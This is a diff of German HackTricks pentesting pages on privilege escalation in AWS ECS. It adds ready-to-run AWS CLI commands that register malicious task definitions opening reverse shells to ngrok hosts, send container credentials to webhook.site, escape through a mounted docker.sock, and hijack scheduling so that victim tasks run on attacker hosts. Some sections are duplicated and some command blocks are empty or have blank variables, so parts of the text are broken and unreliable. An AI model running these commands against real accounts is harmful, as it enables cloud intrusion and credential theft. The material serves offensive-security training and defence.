-# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell
-```
-### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
-
-Ein Angreifer mit den **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** kann **Befehle ausführen** innerhalb eines laufenden Containers und die daran angehängte IAM-Rolle exfiltrieren (du brauchst die describe-Berechtigungen, weil sie notwendig sind, um `aws ecs execute-command` auszuführen).\
-Allerdings muss die Container-Instanz dafür den **ExecuteCommand agent** ausführen (was standardmäßig nicht der Fall ist).
-
-Daher könnte der Angreifer versuchen:
-
-- **Versuchen, in jedem laufenden Container einen Befehl auszuführen**
-```bash
-# List enableExecuteCommand on each task
-for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
-echo "Cluster $cluster"
-for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
-echo "  Task $task"
-# If true, it's your lucky day
-aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
-done
-done
-
-# Execute a shell in a container
-aws ecs execute-command --interactive \
---command "sh" \
---cluster "$CLUSTER_ARN" \
---task "$TASK_ARN"
-```
-- Wenn er **`ecs:RunTask`** hat, führe eine Task aus mit `aws ecs run-task --enable-execute-command [...]`
-- Wenn er **`ecs:StartTask`** hat, führe eine Task aus mit `aws ecs start-task --enable-execute-command [...]`
-- Wenn er **`ecs:CreateService`** hat, erstelle einen Service mit `aws ecs create-service --enable-execute-command [...]`
-- Wenn er **`ecs:UpdateService`** hat, aktualisiere einen Service mit `aws ecs update-service --enable-execute-command [...]`
-
-Beispiele für diese Optionen findest du in **previous ECS privesc sections**.
-
-**Mögliche Auswirkungen:** Privesc zu einer anderen Rolle, die an Container angehängt ist.
-
-### `ssm:StartSession`
-
-Sieh auf der **ssm privesc page** nach, wie du diese Berechtigung missbrauchen kannst, um privesc auf ECS zu erreichen:
-
-{{#ref}}
-aws-ssm-privesc.md
-{{#endref}}
-
-### `iam:PassRole`, `ec2:RunInstances`
-
-Sieh auf der **ec2 privesc page** nach, wie du diese Berechtigungen missbrauchen kannst, um privesc auf ECS zu erreichen:
-
-{{#ref}}
-aws-ec2-privesc.md
-{{#endref}}
-
-### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
-
-Ein Angreifer mit diesen Berechtigungen könnte möglicherweise eine EC2-Instanz in einem ECS-Cluster registrieren und darauf Tasks ausführen. Dadurch könnte der Angreifer beliebigen Code im Kontext der ECS-Tasks ausführen.
-
-- TODO: Ist es möglich, eine Instanz aus einem anderen AWS-Konto zu registrieren, sodass Tasks auf von dem Angreifer kontrollierten Maschinen ausgeführt werden??
-
-### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
-
-> [!NOTE]
-> TODO: Testen
-
-Ein Angreifer mit den Berechtigungen `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` und `ecs:DescribeTaskSets` kann **ein bösartiges task set für einen bestehenden ECS-Service erstellen und das primäre task set aktualisieren**. Dies ermöglicht dem Angreifer, **beliebigen Code innerhalb des Service auszuführen**.
-```bash
-# Register a task definition with a reverse shell
-echo '{
-"family": "malicious-task",
-"containerDefinitions": [
-{
-"name": "malicious-container",
-"image": "alpine",
-"command": [
-"sh",
-"-c",
-"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
-]
-}
-]
-}' > malicious-task-definition.json
-
-aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json
-
-# Create a malicious task set for the existing service
-aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"
-
-# Update the primary task set for the service
-aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
-```
-**Potenzielle Auswirkungen**: Execute arbitrary code in the affected service, potentially impacting its functionality or exfiltrating sensitive data.
-
-## Referenzen
-
-- [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md
new file mode 100644
index 000000000..66a0ff9f7
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md
@@ -0,0 +1,550 @@
+# AWS - ECS Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECS
+
+Mehr **Informationen zu ECS** in:
+
+{{#ref}}
+../../aws-services/aws-ecs-enum.md
+{{#endref}}
+
+### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
+
+Ein Angreifer, der die Berechtigung `iam:PassRole`, `ecs:RegisterTaskDefinition` und `ecs:RunTask` in ECS missbraucht, kann **eine neue Task-Definition erstellen** mit einem **bösartigen Container**, der die Metadaten-Anmeldeinformationen stiehlt, und **diese ausführen**.
+
+{{#tabs }}
+{{#tab name="Reverse Shell" }}
+```bash
+# Generate task definition with rev shell
+aws ecs register-task-definition --family iam_exfiltration \
+--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
+--network-mode "awsvpc" \
+--cpu 256 --memory 512\
+--requires-compatibilities "[\"FARGATE\"]" \
+--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
+
+# Run task definition
+aws ecs run-task --task-definition iam_exfiltration \
+--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
+--launch-type FARGATE \
+--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"
+
+# Delete task definition
+## You need to remove all the versions (:1 is enough if you just created one)
+aws ecs deregister-task-definition --task-definition iam_exfiltration:1
+```
+{{#endtab }}
+
+{{#tab name="Webhook" }}
+
+Erstelle einen webhook bei einem Dienst wie webhook.site
+```bash
+
+# Create file container-definition.json
+[
+{
+"name": "exfil_creds",
+"image": "python:latest",
+"entryPoint": ["sh", "-c"],
+"command": [
+"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890"
+]
+}
+]
+
+# Run task definition, uploading the .json file
+aws ecs register-task-definition \
+--family iam_exfiltration \
+--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
+--network-mode "awsvpc" \
+--cpu 256 \
+--memory 512 \
+--requires-compatibilities FARGATE \
+--container-definitions file://container-definition.json
+
+# Check the webhook for a response
+
+# Delete task definition
+## You need to remove all the versions (:1 is enough if you just created one)
+aws ecs deregister-task-definition --task-definition iam_exfiltration:1
+
+```
+{{#endtab }}
+
+{{#endtabs }}
+
+**Potential Impact:** Direktes privesc zu einer anderen ECS-Rolle.
+
+### `iam:PassRole`,`ecs:RunTask`
+Ein attacker, der über die Berechtigungen `iam:PassRole` und `ecs:RunTask` verfügt, kann eine neue ECS-Task starten und dabei die **execution role**, **task role** und den **command**-Wert des Containers ändern. Der `ecs run-task` CLI-Befehl enthält die Option `--overrides`, mit der zur Laufzeit `executionRoleArn`, `taskRoleArn` und das `command` des Containers geändert werden können, ohne die Task Definition anzufassen.
+
+Die angegebenen IAM-Rollen für `taskRoleArn` und `executionRoleArn` müssen in ihrer Trust-Policy zulassen bzw. darauf vertrauen, dass sie von `ecs-tasks.amazonaws.com` übernommen (assumed) werden.
+
+Außerdem muss der attacker wissen:
+- ECS-Cluster-Name
+- VPC Subnetz
+- Security Group (Wenn keine Security Group angegeben ist, wird die Standard-Security Group verwendet)
+- Task Definition Name und Revision
+- Name des Containers
+```bash
+aws ecs run-task \
+--cluster <cluster-name> \
+--launch-type FARGATE \
+--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
+--task-definition <task-definition:revision> \
+--overrides '
+{
+"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
+"containerOverrides": [
+{
+"name": <container-name>,
+"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
+}
+]
+}'
+```
+Im obigen Code-Snippet überschreibt ein attacker nur den Wert `taskRoleArn`. Der attacker muss jedoch die Berechtigung `iam:PassRole` sowohl für die in dem Befehl angegebene `taskRoleArn` als auch für die in der Task-Definition angegebene `executionRoleArn` besitzen, damit der Angriff möglich ist.
+
+Wenn die IAM-Rolle, die der attacker übergeben kann, genügend Rechte hat, um ein Image aus ECR zu ziehen und die ECS-Task zu starten (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`), dann kann der attacker dieselbe IAM-Rolle sowohl für `executionRoleArn` als auch für `taskRoleArn` im `ecs run-task`-Befehl angeben.
+```sh
+aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
+{
+"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
+"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
+"containerOverrides": [
+{
+"name": "<container-name>",
+"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
+}
+]
+}'
+```
+**Potentielle Auswirkungen:** Direkter privesc auf jede ECS task role.
+
+### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
+
+Wie im vorherigen Beispiel kann ein Angreifer, der die Berechtigungen **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** in ECS missbraucht, **eine neue Task-Definition erzeugen** mit einem **bösartigen Container**, der die Metadaten-Anmeldeinformationen stiehlt, und **diesen ausführen**.\
+In diesem Fall wird jedoch eine Container-Instanz benötigt, um die bösartige Task-Definition auszuführen.
+```bash
+# Generate task definition with rev shell
+aws ecs register-task-definition --family iam_exfiltration \
+--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
+--network-mode "awsvpc" \
+--cpu 256 --memory 512\
+--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
+
+aws ecs start-task --task-definition iam_exfiltration \
+--container-instances <instance_id>
+
+# Delete task definition
+## You need to remove all the versions (:1 is enough if you just created one)
+aws ecs deregister-task-definition --task-definition iam_exfiltration:1
+```
+**Potentielle Auswirkung:** Direkter privesc auf jede ECS-Rolle.
+
+### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
+
+Wie im vorherigen Beispiel kann ein Angreifer, der die Berechtigungen **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** oder **`ecs:CreateService`** in ECS ausnutzt, **eine neue Task-Definition erstellen** mit einem **bösartigen Container**, der die Metadaten-Anmeldeinformationen stiehlt, und diesen ausführen, indem er einen neuen Service mit mindestens 1 laufendem Task erstellt.
+```bash
+# Generate task definition with rev shell
+aws ecs register-task-definition --family iam_exfiltration \
+--task-role-arn  "$ECS_ROLE_ARN" \
+--network-mode "awsvpc" \
+--cpu 256 --memory 512\
+--requires-compatibilities "[\"FARGATE\"]" \
+--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"
+
+# Run the task creating a service
+aws ecs create-service --service-name exfiltration \
+--task-definition iam_exfiltration \
+--desired-count 1 \
+--cluster "$CLUSTER_ARN" \
+--launch-type FARGATE \
+--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"
+
+# Run the task updating a service
+aws ecs update-service --cluster <CLUSTER NAME> \
+--service <SERVICE NAME> \
+--task-definition <NEW TASK DEFINITION NAME>
+```
+**Mögliche Auswirkungen:** Direkter privesc auf jede ECS-Rolle.
+
+### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`)
+
+Tatsächlich ist es mit genau diesen Berechtigungen möglich, overrides zu verwenden, um beliebige Befehle in einem Container mit einer beliebigen Rolle auszuführen, etwa so:
+```bash
+aws ecs run-task \
+--task-definition "<task-name>" \
+--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
+--cluster <cluster-name> \
+--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
+```
+**Mögliche Auswirkungen:** Direkter privesc auf jede ECS role.
+
+### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
+
+Dieses Szenario ähnelt den vorherigen, jedoch **ohne** die **`iam:PassRole`** Berechtigung.\
+Das ist weiterhin interessant, denn wenn du einen beliebigen Container ausführen kannst, selbst ohne role, könntest du **run a privileged container to escape** und **steal the EC2 IAM role** sowie die **other ECS containers roles**, die auf dem Node laufen.\
+Du könntest sogar **force other tasks to run inside the EC2 instance** kompromittieren, um deren Anmeldeinformationen zu stehlen (wie in der [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node) besprochen).
+
+> [!WARNING]
+> Dieser Angriff ist nur möglich, wenn der **ECS cluster is using EC2** instances und nicht Fargate.
+```bash
+printf '[
+{
+"name":"exfil_creds",
+"image":"python:latest",
+"entryPoint":["sh", "-c"],
+"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
+"mountPoints": [
+{
+"readOnly": false,
+"containerPath": "/var/run/docker.sock",
+"sourceVolume": "docker-socket"
+}
+]
+}
+]' > /tmp/task.json
+
+printf '[
+{
+"name": "docker-socket",
+"host": {
+"sourcePath": "/var/run/docker.sock"
+}
+}
+]' > /tmp/volumes.json
+
+
+aws ecs register-task-definition --family iam_exfiltration \
+--cpu 256 --memory 512 \
+--requires-compatibilities '["EC2"]' \
+--container-definitions file:///tmp/task.json \
+--volumes file:///tmp/volumes.json
+
+
+aws ecs run-task --task-definition iam_exfiltration \
+--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
+--launch-type EC2
+
+# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell
+```
+### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
+
+Ein Angreifer mit den **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** kann **Befehle in einem laufenden Container ausführen** und die daran angehängte IAM role exfiltrieren (man braucht die describe-Berechtigungen, da diese notwendig sind, um `aws ecs execute-command` auszuführen).\
+Allerdings muss dafür die container instance den **ExecuteCommand agent** ausführen (was standardmäßig nicht der Fall ist).
+
+Therefore, the attacker could try to:
+
+- **Versuchen, in jedem laufenden Container einen Befehl auszuführen**
+```bash
+# List enableExecuteCommand on each task
+for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
+echo "Cluster $cluster"
+for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
+echo "  Task $task"
+# If true, it's your lucky day
+aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
+done
+done
+
+# Execute a shell in a container
+aws ecs execute-command --interactive \
+--command "sh" \
+--cluster "$CLUSTER_ARN" \
+--task "$TASK_ARN"
+```
+- Wenn er **`ecs:RunTask`** hat, führe einen Task aus mit `aws ecs run-task --enable-execute-command [...]`
+- Wenn er **`ecs:StartTask`** hat, führe einen Task aus mit `aws ecs start-task --enable-execute-command [...]`
+- Wenn er **`ecs:CreateService`** hat, erstelle einen Service mit `aws ecs create-service --enable-execute-command [...]`
+- Wenn er **`ecs:UpdateService`** hat, aktualisiere einen Service mit `aws ecs update-service --enable-execute-command [...]`
+
+Du findest **Beispiele für diese Optionen** in **vorherigen ECS privesc Abschnitten**.
+
+**Mögliche Auswirkungen:** Privesc zu einer anderen Rolle, die an Container angehängt ist.
+
+### `ssm:StartSession`
+
+Sieh auf der **ssm privesc page** nach, wie du diese Berechtigung missbrauchen kannst, um **privesc zu ECS**:
+
+{{#ref}}
+../aws-ssm-privesc/README.md
+{{#endref}}
+
+### `iam:PassRole`, `ec2:RunInstances`
+
+Sieh auf der **ec2 privesc page** nach, wie du diese Berechtigungen missbrauchen kannst, um **privesc zu ECS**:
+
+{{#ref}}
+../aws-ec2-privesc/README.md
+{{#endref}}
+
+### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
+
+Ein Angreifer mit diesen Berechtigungen könnte potenziell eine EC2-Instanz in einem ECS-Cluster registrieren und darauf Tasks ausführen. Dadurch könnte der Angreifer beliebigen Code im Kontext der ECS-Tasks ausführen.
+
+- TODO: Ist es möglich, eine Instanz aus einem anderen AWS-Konto zu registrieren, sodass Tasks auf Maschinen ausgeführt werden, die vom Angreifer kontrolliert werden??
+
+### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
+
+> [!NOTE]
+> TODO: Test this
+
+Ein Angreifer mit den Berechtigungen `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` und `ecs:DescribeTaskSets` kann **einen bösartigen Task-Set für einen bestehenden ECS-Service erstellen und das primäre Task-Set aktualisieren**. Dadurch kann der Angreifer **beliebigen Code innerhalb des Service ausführen**.
+```bash
+# Register a task definition with a reverse shell
+echo '{
+"family": "malicious-task",
+"containerDefinitions": [
+{
+"name": "malicious-container",
+"image": "alpine",
+"command": [
+"sh",
+"-c",
+"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
+]
+}
+]
+}' > malicious-task-definition.json
+
+aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json
+
+# Create a malicious task set for the existing service
+aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"
+
+# Update the primary task set for the service
+aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
+```
+**Potentielle Auswirkungen**: Beliebigen Code im betroffenen Service ausführen, wodurch dessen Funktionalität beeinträchtigt werden oder sensible Daten exfiltriert werden können.
+
+## Referenzen
+
+- [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+
+
+
+
+### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
+
+Ein Angreifer mit Berechtigungen, ECS capacity providers zu verwalten und Services zu aktualisieren, kann eine von ihm kontrollierte EC2 Auto Scaling Group erstellen, diese in einen ECS Capacity Provider einbinden, ihn mit dem Ziel-Cluster verknüpfen und einen Opfer-Service so migrieren, dass er diesen Provider verwendet. Tasks werden dann auf von Angreifern kontrollierten EC2-Instanzen geplant, wodurch OS‑Level-Zugriff möglich wird, um Container zu untersuchen und Task-Role-Credentials zu stehlen.
+
+Commands (us-east-1):
+
+- Voraussetzungen
+
+
+
+- Launch Template erstellen, damit sich der ECS agent dem Ziel-Cluster anschließt
+
+
+
+- Auto Scaling Group erstellen
+
+
+
+- Capacity Provider aus der ASG erstellen
+
+
+
+- Den Capacity Provider mit dem Cluster verknüpfen (optional als Standard)
+
+
+
+- Einen Service auf Ihren Provider migrieren
+
+
+
+- Überprüfen, dass Tasks auf Angreifer-Instanzen landen
+
+
+
+- Optional: Vom EC2-Knoten aus docker exec in Ziel-Container und http://169.254.170.2 lesen, um die Task-Role-Credentials zu erhalten.
+
+- Aufräumen
+
+
+
+**Potentielle Auswirkungen:** Von Angreifer kontrollierte EC2-Knoten erhalten Opfer-Tasks, was OS‑Level-Zugriff auf Container ermöglicht und zum Diebstahl der Task-IAM-Rollen-Credentials führen kann.
+
+
+<details>
+<summary>Schritt-für-Schritt Befehle (kopieren/einfügen)</summary>
+<pre>
+export AWS_DEFAULT_REGION=us-east-1
+CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster
+# Instance profile for ECS nodes
+aws iam create-role --role-name ht-ecs-instance-role --assume-role-policy-document Version:2012-10-17 || true
+aws iam attach-role-policy --role-name ht-ecs-instance-role --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role || true
+aws iam create-instance-profile --instance-profile-name ht-ecs-instance-profile || true
+aws iam add-role-to-instance-profile --instance-profile-name ht-ecs-instance-profile --role-name ht-ecs-instance-role || true
+
+VPC=vpc-18e6ac62
+SUBNETS=
+
+AMI=ami-0b570770164588ab4
+USERDATA=IyEvYmluL2Jhc2gKZWNobyBFQ1NfQ0xVU1RFUj0gPj4gL2V0Yy9lY3MvZWNzLmNvbmZpZwo=
+LT_ID=
+
+ASG_ARN=
+
+CP_NAME=htcp-8797
+aws ecs create-capacity-provider --name  --auto-scaling-group-provider "autoScalingGroupArn=,managedScaling={status=ENABLED,targetCapacity=100},managedTerminationProtection=DISABLED"
+aws ecs put-cluster-capacity-providers --cluster "" --capacity-providers  --default-capacity-provider-strategy capacityProvider=,weight=1
+
+SVC=
+# Task definition must be EC2-compatible (not Fargate-only)
+aws ecs update-service --cluster "" --service "" --capacity-provider-strategy capacityProvider=,weight=1 --force-new-deployment
+
+TASK=
+CI=
+aws ecs describe-container-instances --cluster "" --container-instances "" --query containerInstances[0].ec2InstanceId --output text
+</pre>
+</details>
+
+### Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration
+
+ECS Anywhere missbrauchen, um einen vom Angreifer kontrollierten Host als EXTERNAL container instance in einem Opfer-ECS-Cluster zu registrieren und Tasks auf diesem Host mit privilegierten task- und execution-roles auszuführen. Dies verschafft OS‑Level-Kontrolle darüber, wo Tasks laufen (dem eigenen Rechner) und ermöglicht das Stehlen von Credentials/Daten aus Tasks und angehängten Volumes, ohne Capacity Providers oder ASGs anzufassen.
+
+- Erforderliche Berechtigungen (Beispiel minimal):
+- ecs:CreateCluster (optional), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask
+- ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation
+- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (for the ECS Anywhere instance role and task/execution roles)
+- logs:CreateLogGroup/Stream, logs:PutLogEvents (if using awslogs)
+
+- Auswirkung: Beliebige Container mit ausgewähltem taskRoleArn auf dem Angreifer-Host ausführen; Task-Role-Credentials von 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI exfiltrieren; auf alle von Tasks eingehängten Volumes zugreifen; unauffälliger als das Manipulieren von Capacity Providers/ASGs.
+
+Schritte
+
+1) Cluster erstellen/identifizieren (us-east-1)
+```bash
+aws ecs create-cluster --cluster-name ht-ecs-anywhere
+```
+2) ECS Anywhere-Rolle erstellen und SSM-Aktivierung (für on-prem/EXTERNAL Instanz)
+```bash
+aws iam create-role --role-name ecsAnywhereRole \
+--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
+aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore
+aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role
+ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole)
+ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode)
+```
+3) Angreifer-Host provisionieren und automatisch als EXTERNAL registrieren (Beispiel: kleine AL2 EC2 als “on‑prem”)
+
+<details>
+<summary>user-data.sh</summary>
+```bash
+#!/bin/bash
+set -euxo pipefail
+amazon-linux-extras enable docker || true
+yum install -y docker curl jq
+systemctl enable --now docker
+curl -fsSL -o /root/ecs-anywhere-install.sh "https://amazon-ecs-agent.s3.amazonaws.com/ecs-anywhere-install-latest.sh"
+chmod +x /root/ecs-anywhere-install.sh
+/root/ecs-anywhere-install.sh --cluster ht-ecs-anywhere --activation-id ${ACT_ID} --activation-code ${ACT_CODE} --region us-east-1
+```
+</details>
+```bash
+AMI=$(aws ssm get-parameters --names /aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2 --query 'Parameters[0].Value' --output text)
+IID=$(aws ec2 run-instances --image-id $AMI --instance-type t3.micro \
+--user-data file://user-data.sh --query 'Instances[0].InstanceId' --output text)
+aws ec2 wait instance-status-ok --instance-ids $IID
+```
+4) Überprüfen, ob die EXTERNAL Container-Instance beigetreten ist
+```bash
+aws ecs list-container-instances --cluster ht-ecs-anywhere
+aws ecs describe-container-instances --cluster ht-ecs-anywhere \
+--container-instances <ci-arn> --query 'containerInstances[0].[ec2InstanceId,attributes]'
+# ec2InstanceId will be mi-XXXXXXXX (SSM managed instance id) and attributes include ecs.capability.external
+```
+5) Erstelle task/execution roles, registriere die EXTERNAL task definition und führe sie auf dem attacker host aus
+```bash
+# roles
+aws iam create-role --role-name ht-ecs-task-exec \
+--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
+aws iam attach-role-policy --role-name ht-ecs-task-exec --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSTaskExecutionRolePolicy
+aws iam create-role --role-name ht-ecs-task-role \
+--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
+# attach any privileges you want to abuse to this task role
+
+# task def (EXTERNAL launch)
+cat > td-external.json << 'JSON'
+{
+"family": "ht-external",
+"requiresCompatibilities": [ "EXTERNAL" ],
+"networkMode": "bridge",
+"memory": "256",
+"cpu": "128",
+"executionRoleArn": "arn:aws:iam::<account-id>:role/ht-ecs-task-exec",
+"taskRoleArn": "arn:aws:iam::<account-id>:role/ht-ecs-task-role",
+"containerDefinitions": [
+{"name":"steal","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
+"entryPoint":["/bin/sh","-c"],
+"command":["REL=\$(printenv AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); echo CREDS:; curl -s http://169.254.170.2\$REL; sleep 600"],
+"memory": 128,
+"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/anywhere","awslogs-stream-prefix":"steal"}}
+}
+]
+}
+JSON
+aws logs create-log-group --log-group-name /ht/ecs/anywhere || true
+aws ecs register-task-definition --cli-input-json file://td-external.json
+CI=$(aws ecs list-container-instances --cluster ht-ecs-anywhere --query 'containerInstanceArns[0]' --output text)
+aws ecs start-task --cluster ht-ecs-anywhere --task-definition ht-external \
+--container-instances $CI
+```
+6) Ab hier kontrollierst du den Host, der die Tasks ausführt. Du kannst task logs (wenn awslogs) lesen oder direkt auf dem Host per exec zugreifen, um credentials/data aus deinen Tasks zu exfiltrate.
+
+
+
+#### Befehlsbeispiel (Platzhalter)
+
+
+
+
+### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
+
+Ein Angreifer mit Berechtigungen, ECS capacity providers zu verwalten und Services zu aktualisieren, kann eine EC2 Auto Scaling Group unter seiner Kontrolle erstellen, diese in einen ECS Capacity Provider einbinden, ihn dem Ziel-Cluster zuordnen und einen Opfer-Service so migrieren, dass er diesen Provider verwendet. Die Tasks werden dann auf vom Angreifer kontrollierten EC2-Instanzen geplant, was OS-Level-Zugriff erlaubt, um Container zu inspizieren und task role credentials zu stehlen.
+
+Befehle (us-east-1):
+
+- Voraussetzungen
+
+
+
+- Launch Template erstellen, damit der ECS agent dem Zielcluster beitritt
+
+
+
+- Auto Scaling Group erstellen
+
+
+
+- Capacity Provider aus der ASG erstellen
+
+
+
+- Den Capacity Provider dem Cluster zuordnen (optional als Default)
+
+
+
+- Einen Service auf deinen Provider migrieren
+
+
+
+- Prüfen, ob Tasks auf den Instanzen des Angreifers landen
+
+
+
+- Optional: Vom EC2-Node aus per docker exec in Ziel-Container einsteigen und http://169.254.170.2 lesen, um die task role credentials zu erhalten.
+
+- Aufräumen
+
+
+
